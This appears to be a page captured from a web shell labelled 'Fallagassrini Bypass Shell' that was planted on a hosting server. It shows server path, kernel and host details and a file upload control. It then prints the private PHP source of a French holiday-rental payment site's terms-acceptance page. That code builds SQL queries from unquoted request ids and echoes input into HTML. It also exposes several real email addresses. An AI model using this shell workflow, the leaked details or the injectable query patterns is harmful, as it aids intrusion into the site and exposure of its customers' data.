Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/happyrenas/old/happy-and-pay.fr/v3/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/happyrenas/old/happy-and-pay.fr/v3/acceptation_cgv.php

<?
error_reporting(E_ALL);
ini_set('display_errors','On');
include("../config.php");
$page="module.php";

$createdWallet 				= $db->escape($_GET['createdWallet']);
if (!$createdWallet) 		{$createdWallet 				= $db->escape($_POST['createdWallet']);}

$id 						= $db->escape($_POST['id']);
$acceptation 				= $db->escape($_POST['acceptation']);
$cgu 						= $db->escape($_POST['cgu']);

// CGV 0 ou vide => NON REPONSE
// CGV 1  => OK
// CGV 2 => REFUS
				
				
//CONNEXION
if ($createdWallet  && !$acceptation)
{
	$num = $db->get_var("select count(id) from client_reservation where createdWallet = '$createdWallet'");
	if ($num!=0)
	{
	$myquery="select * from client_reservation where  createdWallet = '$createdWallet'";
	$marequete = $db->get_row($myquery);
	$id						=	$marequete->id;
	$client_id				=	$marequete->client_id;
	$paiement_type			=	$marequete->paiement_type;
	
	
	$date1					=	$reservation->date_debut;	$date1 			= date("d-m-Y", strtotime($date1));
	$date2					=	$reservation->date_fin;		$date2 			= date("d-m-Y", strtotime($date2));
	$proprietaire_mail		=	$reservation->proprietaire_mail;

	$myquery			= 	"SELECT * from client_reservation_proprietaire where proprietaire_mail	='".$proprietaire_mail."'";
	$proprietaire		= 	$db->get_row($myquery);
	$proprietaire_nom	=	$proprietaire->nom;
	
	
	$myquery			= 	"SELECT * from client where id	=".$client_id;
	$client 			= 	$db->get_row($myquery);
	$client_nom			=	$client->nom;
	$client_prenom		=	$client->prenom;
	$client_mail		=	$client->mail;

	
	//CONNEXION OK
	$message=1;
	}
	else
	{
	//CONNEXION FAILED

	exit;
	}
		
}	


// UPDATE  OUI
if ($createdWallet && $id && $acceptation=="oui" && $cgu)
	{					
	$requete="UPDATE client_reservation set cgv=1 WHERE id=".$id;
	$db->query($requete);
	
	$myquery 				= 	"SELECT * from client_reservation where id	=".$id;
	$reservation 			= 	$db->get_row($myquery);
	$reservation_id			= 	$reservation->id;
	$client_id				= 	$reservation->client_id;
	$proprietaire_id		= 	$reservation->proprietaire_id;
	$date1					=	$reservation->date_debut;	$date1 			= date("d-m-Y", strtotime($date1));
	$date2					=	$reservation->date_fin;		$date2 			= date("d-m-Y", strtotime($date2));
	$proprietaire_mail		=	$reservation->proprietaire_mail;
	$ville					=	$reservation->ville;
	$paiement_type			=	$reservation->paiement_type;
	$assurance_annulation	=	$reservation->assurance_annulation;
	
	
	
	$myquery			= 	"SELECT * from client where id	=".$client_id;
	$client 			= 	$db->get_row($myquery);
	$client_nom			=	$client->nom;
	$client_prenom		=	$client->prenom;
	$client_mail		=	$client->mail;

	
				
				
				// ENVOI MAIL CLIENT
				require_once('../includes/class.phpmailer.php');
				require_once('../includes/class.smtp.php');
						
				if ($paiement_type==1)
				{
				include('tpl_client_acompte_cgv_oui.php');
				$objet="Votre réservation à ".$ville." du ".$date1." au ".$date2." -  paiement acompte validé par le propriétaire";
				}
				else
				{
				include('tpl_client_solde_cgv_oui.php');
				$objet="Votre réservation à ".$ville." du ".$date1." au ".$date2." -  paiement solde validé par le propriétaire";
				}
				
				$from			=	"no-reply@happy-and-pay.fr";
				$reply			=	$from;
				$mail = new PHPmailer();
				$mail->SMTPDebug  = 0;
				$mail->CharSet = "UTF-8";
				$mail->IsHTML(true);
				$mail->From=$from;
				$mail->AddAddress($client_mail);
				$mail->AddBCC("phil_aph@hotmail.com");
				$mail->AddBCC("happyendpay@happy-rentals.com");
				if ($assurance_annulation==1)
				{
					$assurance_annulation_lien="assurance_annulation/bulletin adhesion Assurances Happy rentals.pdf";
					$mail->AddAttachment($assurance_annulation_lien);
				}
				$mail->AddReplyTo($reply);	
				$mail->Subject=$objet;
				$mail->Body=$message;
				if(!$mail->Send())
				{echo $mail->ErrorInfo;}
				else{echo '';}
				unset($mail);
				
				// ENVOI MAIL PROPRIETAIRE
				sleep(5);
				
				require_once('../includes/class.phpmailer.php');
				require_once('../includes/class.smtp.php');
						
				if ($paiement_type==1)
				{
				include('tpl_acompte_cgv_oui.php');
				$objet="Vous venez de valider le paiement d'acompte de votre client";
				}
				else
				{
				include('tpl_solde_cgv_oui.php');
				$objet="Vous venez de valider le paiement du solde de votre client";
				}
				
				$from			=	"no-reply@happy-and-pay.fr";
				$reply			=	$from;
				$mail = new PHPmailer();
				$mail->SMTPDebug  = 0;
				$mail->CharSet = "UTF-8";
				$mail->IsHTML(true);
				$mail->From=$from;
				$mail->AddAddress($proprietaire_mail);
				$mail->AddBCC("phil_aph@hotmail.com");
				$mail->AddBCC("happyendpay@happy-rentals.com");
	
				$mail->AddReplyTo($reply);	
				$mail->Subject=$objet;
				$mail->Body=$message;
				if(!$mail->Send())
				{echo $mail->ErrorInfo;}
				else{echo '';}
				unset($mail);
	$message=2;
	
}


// UPDATE NON
if ($createdWallet && $id && $acceptation=="non")
	{					
	$requete="UPDATE client_reservation set cgv=2 WHERE id=".$id;
	$db->query($requete);
	
	
	$myquery 				= 	"SELECT * from client_reservation where id	=".$id;
	$reservation 			= 	$db->get_row($myquery);
	$reservation_id			= 	$reservation->id;
	$client_id				= 	$reservation->client_id;
	$proprietaire_id		= 	$reservation->proprietaire_id;
	$date1					=	$reservation->date_debut;	$date1 			= date("d-m-Y", strtotime($date1));
	$date2					=	$reservation->date_fin;		$date2 			= date("d-m-Y", strtotime($date2));
	$proprietaire_mail		=	$reservation->proprietaire_mail;
	$ville					=	$reservation->ville;
	$paiement_type			=	$reservation->paiement_type;
	
	
	$myquery			= 	"SELECT * from client where id	=".$client_id;
	$client 			= 	$db->get_row($myquery);
	$client_nom			=	$client->nom;
	$client_prenom		=	$client->prenom;
	$client_mail		=	$client->mail;
	
	
				// ENVOI MAIL 
				require_once('../includes/class.phpmailer.php');
				require_once('../includes/class.smtp.php');
						
				
				include('tpl_cgv_non.php');
				$objet="Votre réservation à ".$ville." du ".$date1." au ".$date2." -  paiement refusé par le propriétaire";
				
				
				$from			=	"no-reply@happy-and-pay.fr";
				$reply			=	$from;
				$mail = new PHPmailer();
				$mail->SMTPDebug  = 0;
				$mail->CharSet = "UTF-8";
				$mail->IsHTML(true);
				$mail->From=$from;
				$mail->AddAddress($client_mail);
				$mail->AddBCC("phil_aph@hotmail.com");
				$mail->AddBCC("happyendpay@happy-rentals.com");
	
				$mail->AddReplyTo($reply);	
				$mail->Subject=$objet;
				$mail->Body=$message;
				if(!$mail->Send())
				{echo $mail->ErrorInfo;}
				else{echo '';}
				unset($mail);
	
	$message=3;
	
	
	
}

//ON A OUBLIE DE COHCHER LA CASE
if ($createdWallet && $id && $acceptation=="oui" && !$cgu)
	{			
	$message=1;
	}
?>
<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr">
	<head>
		<title>Happy Rentals - Simplifiez vos locations de vacances grâce à Happy R !</title>
		<meta name='description' content="Happy Rentals, simplifiez-vous la vie, c'est gratuit ! Vous êtes client ou propriétaire ? Happy Rentals sécurise & simplifie la gestion de vos contrats et des paiements de location"/>
		<meta http-equiv="content-type" content="text/html; charset=UTF-8" />

		<link rel="icon" href="../images/icone.ico"/>
		<!--[if lt IE 9]>
            <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
        <![endif]-->
		<link href='http://fonts.googleapis.com/css?family=Roboto+Condensed:300italic,400italic,700italic,400,300,700&amp;subset=all' rel='stylesheet' type='text/css'>
        <link href="../assets/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
        <link href="../assets/base/css/plugins.css" rel="stylesheet" type="text/css" />
        <link href="../assets/base/css/components.css" id="style_components" rel="stylesheet" type="text/css" />
		<link rel="stylesheet" href="../design.css" type="text/css" media="screen" />
		<script type="text/javascript" src="../js/prefixfree.js"></script>
	</head>
	
	<body>
		<div id="bloc-assistance">
			<button onclick="ouvrir('bloc-assistance');"><img src="../images/assistance.png" alt="Assistance"/></button><!--
		 --><p class="font11">
				Vous rencontrez un problème ? Contactez notre service d’assistance :<br/>
				<a href="../demande-assistance.php" title="Vous rencontrez un problème ? Contactez notre assistance !">
					ASSISTANCE
				</a>
			</p>
		</div>
		<header>
			<div>
				<p id="logo"><a href="http://www.happy-rentals.com" title="Happy Rentals, Simplifiez vos contrats de location"><img src="../images/logo-happy-rentals.jpg" alt="Logo Happy Rentals" class="middle"/></a></p>
				<nav>
					
				</nav>
			</div>
		</header>
		<div id="bandeau-home">
			<p>
				<img src="../images/logotype-blanc.png" alt="Logotype Happy R"/>
				<br/><br/>
				La première appli pour vos contrats et paiements en ligne<br/>
                Sécurité et Simplicité
				<img src="../images/logos-banques.png" alt="Logos Paiement sécurisé" id="logos-paiement"/>
			</p>
		</div>
		     <!-- BEGIN GLOBAL MANDATORY STYLES -->
        
		
		<?if ($message==1) {?>
		<div class="c-content-box c-size-md c-bg-grey">
				<div class="container">
					<div style="padding-top:25px;" >
                        <h1 style="font-size:28px;color:#000;" class="c-center c-bold">ACCEPTATION DES CGU</h1>
						<div class="c-line-center"></div>
                       <p class="c-center c-font-uppercase c-font-17"> </p>
					   <p class="c-center c-font-15"> 
						<br><b>Votre client souhaite payer sa location avec la protection Happy.</b><br>
						Son paiement est déjà enregistré, il n'attend plus que votre validation.<br><br>
						Happy est un module de paiement en libre accès pour tous clients souhaitant protéger ses paiements de locations de vacances.<br>
						Toutes les transactions via Happy sont totalement gratuites pour les propriétaires (aucuns frais de quelques natures que ce soit).<br><br>
						En cas d'annulation de votre client, Happy vous vire gratuitement et dans les 48 heures tous les paiements déjà réalisés par votre client<br>
						pour vous permettre d'appliquer les Conditions Générales de Ventes de VOTRE contrat de location.<br><br>
						Lorsque votre client paye son acompte avec la protection Happy vous pouvez encaisser en espèce, ou tout moyen de paiement de votre choix, l'intégralité du prix de la location à l'arrivée de votre client. Le paiement de son acompte via Happy ne sert qu'à garantir VOTRE réservation<br>
						(son acompte lui est remboursé automatiquement 48 h après le début de sa location).<br><br>
						
						<i>Si vous souhaitez aller plus loin avec happy, découvrez aussi <a href="http://www.happy-rentals.com/" target="_blank" style="color:red;">l'appli gratuite Happy R</a><br>
						une appli très simple pour gérer vos réservations en quelques clics et synchroniser automatiquement les calendriers de toutes vos annonces.</i>

						</p>
                    </div>
					<form action="<?echo $_SERVER['PHP_SELF'];?>" method="POST" class="form-horizontal">
					<input type="hidden" name="createdWallet" value="<?Echo $createdWallet;?>">
					<input type="hidden" name="id" value="<?Echo $id;?>">
					

						<div class="row">
							<div class="col-md-12">
								<div class="c-content-panel">
									<div class="c-body">
											<div class="form-group">
												<label class="control-label col-md-2"></label>
												<div class="col-md-10"><input type="checkbox" name="cgu" value="1" > J'accepte <a href="../docs/conditions-generales-utilisation-happy-rentals.pdf" title="Conditions générales d'utilisation" style="text-decoration: none;color:red;" target="_blank">ces CGU</font></a>  et je mandate Happy-rentals en tant qu'intermédiaire technique pour encaisser le paiement de mon client.</div>
											</div>
											<div class="form-group">
												<div class="col-sm-offset-3 col-md-9">
													<button type="submit" value="non" name="acceptation" class="btn btn-default btn-lg c-btn-uppercase">je refuse le paiement de mon client</button>
													<button type="submit" value="oui" name="acceptation" class="btn btn-primary btn-lg c-btn-uppercase">je valide le paiement de mon client</button>
												</div>
											</div>
											
									</div>
								</div>
							</div>
						</div>
					</form>
				</div>
		</div>
		<?}?>
		<?if ($message==2) {?>
		<div class="c-content-box c-size-md c-bg-grey">
				<div class="container">
					<div style="padding-top:25px;" >
                        <h1 style="font-size:28px;color:#000;" class="c-center c-bold">ACCEPTATION DES CGU</h1>
						<div class="c-line-center"></div>
                       <p class="c-center c-font-uppercase c-font-17"> </p>
					   <p class="c-center c-font-15"> 
						<b>Vous venez de valider le paiement de votre client.</b><br>
						En cas d'annulation de ce dernier, Happy vous virera sans aucun frais et dans les 48 heures tous les paiements déjà réalisés par votre client pour vous permettre d'appliquer les Conditions Générales de Ventes de VOTRE contrat de location.<br>
						<?//Vous allez recevoir un mail récapitulatif de ce paiement, ainsi que la fiche d'informations relative à votre client.<br>?>
						<br><br><a href="http://www.happy-rentals.com/administration/templates/admin3/proprietaire_compte.php?proprietaire_mail=<?echo $proprietaire_mail;?>&reservation_id=<?echo $id;?>"><button type="submit" value="oui" name="acceptation" class="btn btn-primary btn-lg c-btn-uppercase">Dernière étape : Je saisis mes informations pour recevoir mon paiement</button></a>
						</p>
                    </div>
				</div>
				
				
		</div>
		<?}?>
		
		
		
		
		<?if ($message==3) {?>
		<div class="c-content-box c-size-md c-bg-grey">
				<div class="container">
					<div style="padding-top:25px;" >
                        <h1 style="font-size:28px;color:#000;" class="c-center c-bold">ACCEPTATION DES CGU</h1>
						<div class="c-line-center"></div>
                       <p class="c-center c-font-uppercase c-font-17"> </p>
					   <p class="c-center c-font-15"> 
						<b>Vous venez de REFUSER le paiement de votre client.</b><br>
						</p>
                    </div>
				</div>
		</div>
		<?}?>
		
		
		
		
		
		
		
		
		
		
		
		
		
		<footer>
			<div>
				<nav>
					<a href="http://www.happy-rentals.com" title="Revenir à l'accueil du site internet">Accueil</a>
					<a href="../le-concept-happy-rentals.php" title="Le concept Happy Rentals : sécurité et simplicité">Pourquoi ?</a>
					<a href="../comment-utiliser-happy-rentals.php" title="Comment utiliser Happy-Rentals ?">Comment ?</a>
					<a href="../tarifs.php" title="Les tarifs : prix mini, sécurité maxi">Tarifs</a>
					<a href="../questions-frequentes.php" title="Une question ? Consultez la F.A.Q Happy Rentals">F.A.Q</a>
					<a href="../demonstration-happy-rentals.php" title="Découvrez comment fonctionne Happy Rentals">Démo</a>
					<a href="../contactez-happy-rentals.php" title="Prendre contact avec Happy Rentals">Contact</a>
				</nav>
				<p>
					© Copyright 2014 - Happy Rentals - Tous droits réservés - Marque déposée<br/>
					<a href="../docs/conditions-generales-vente-happy-rentals.pdf" title="Conditions générales de vente" target="_blank">Conditions générales de vente</a>
					 - <a href="../docs/conditions-generales-utilisation-happy-rentals.pdf" title="Conditions générales d'utilisation" target="_blank">Conditions générales d'utilisation</a> - <a href="docs/Mangopay_Terms-FR.pdf" title="Conditions générales Mangopay" target="_blank">Conditions générales Mangopay</a>
					 
					<br/>
					Happy R protège les clients des faux propriétaires ou de personnes qui usurpent l'identité de vrai propriétaire.<br/>
					Une création Web <a href="http://www.melting-k.fr" title="Création de sites internet à Toulouse">Melting K</a> - <a href="../mentions-legales.php" title="Nos mentions légales">Mentions légales</a>
					<br/><br/>
					<img src="../images/powered-by-mangopay.png" alt="Powered by mango pay" class="middle"/>&nbsp;&nbsp;&nbsp;-|-&nbsp;&nbsp;&nbsp;<a href="http://www.goonassurances.com/" title="GO ON, partenaire assurance annulation" target="_blank">Partenaire Assurance Annulation : <img src="../images/logo-go-on-assurances.png" alt="GO ON ASURANCES" class="middle"/> </a>
				</p>
			</div>
		</footer>
	</body>
	<script>
	  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
	  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
	  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
	  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

	  ga('create', 'UA-89044331-3', 'auto');
	  ga('send', 'pageview');

	</script>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net